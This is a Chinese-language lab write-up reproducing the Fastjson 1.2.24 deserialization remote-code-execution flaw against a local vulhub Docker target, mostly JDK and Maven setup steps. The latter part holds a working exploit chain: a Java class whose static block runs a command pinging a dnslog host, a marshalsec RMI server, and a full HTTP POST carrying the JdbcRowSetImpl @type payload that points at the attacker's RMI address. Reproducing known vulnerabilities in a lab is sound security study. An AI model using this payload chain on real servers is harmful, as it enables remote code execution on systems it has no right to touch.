【超详细】Fastjson1.2.24反序列化漏洞复现

    提供服务器端、安卓客户端两种解析工具，性能表现较好。    提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串，parseObject 方法则反过来将 JSON 字符串转换成对象。    允许转换预先存在的无法修改的对象（只有class、无源代码）。    Java泛型的广泛支持。    允许对象的自定义表示、允许自定义序列化类。    支持任意复杂对象（具有深厚的继承层次和广泛使用的泛型类型）。

JDK环境Maven环境

简单拓扑：攻击机：192.168.142.129（kali19.2）靶机：192.168.142.128(kali19.4)RMI服务：192.168.142.129

https://blog.csdn.net/SuPejkj/article/details/103707207

cd /vulhub/fastjson/1.2.24-rcedocker-compose up -d

http://ip:8090

http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html

sudo mkdir-p /usr/local/javasudo cp jdk-8u161-linux-x64.tar.gz /usr/local/javacd /usr/local/javasudo tar xzvf jdk-8u91-linux-x64.tar.gz

 vim/etc/profile###复制以下代码到文件结尾JAVA_HOME=/usr/local/java/jdk1.8.0_211PATH=$PATH:$HOME/bin:$JAVA_HOME/binexport JAVA_HOMEexport PATH

sudo update-alternatives --install "/usr/bin/java""java" "/usr/local/java/jdk1.8.0_211/bin/java" 1sudo update-alternatives --install "/usr/bin/javac" "javac""/usr/local/java/jdk1.8.0_211/bin/javac"1sudo update-alternatives --install "/usr/bin/javaws""javaws" "/usr/local/java/jdk1.8.0_211/bin/javaws" 1sudo update-alternatives --install "/usr/bin/javaws""javaws" "/usr/local/java/jdk1.8.0_211/bin/javaws" 1

sudoupdate-alternatives --set java /usr/local/java/jdk1.8.0_211/bin/javasudoupdate-alternatives --set javac /usr/local/java/jdk1.8.0_211/bin/javacsudoupdate-alternatives --set javaws /usr/local/java/jdk1.8.0_211/bin/javaws

source/etc/profilejava -version

wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

# mkdir /usr/local/apache-maven# sudo mv apache-maven-3.6.3-bin.tar.gz /usr/local/apache-maven# sudo tar -xzvf /usr/local/apache-maven/apache-maven-3.6.3-bin.tar.gz -C /usr/local/apache-maven/# sudo update-alternatives --install /usr/bin/mvn mvn /usr/local/apache-maven/apache-maven-3.6.3/bin/mvn 1# sudo update-alternatives --config mvn# sudo apt-get install vim# vim ~/.bashrc

export M2_HOME=/usr/local/apache-maven/apache-maven-3.6.3export MAVEN_OPTS="-Xms256m -Xmx512m" export JAVA_HOME=/usr/local/java/jdk1.8.0_211

mvn -version

// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;
public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"ping", "xxx.dnslog.cn"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}

javac TouchFile.java

python -m SimpleHTTPServer 4444  # 4444是端口，随便设置只要不冲突就可以

git clone https://github.com/mbechler/marshalsec.git

mvn clean package -DskipTests

cd target/java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://刚刚上传class文件的外网ip或域名/#TouchFile" 9999

POST / HTTP/1.1Host: 192.168.142.128:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 167
{    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.142.129:9999/TouchFile",        "autoCommit":true    }
}

https://www.freebuf.com/articles/web/242712.htmlhttps://www.cnblogs.com/ssan/p/12844868.html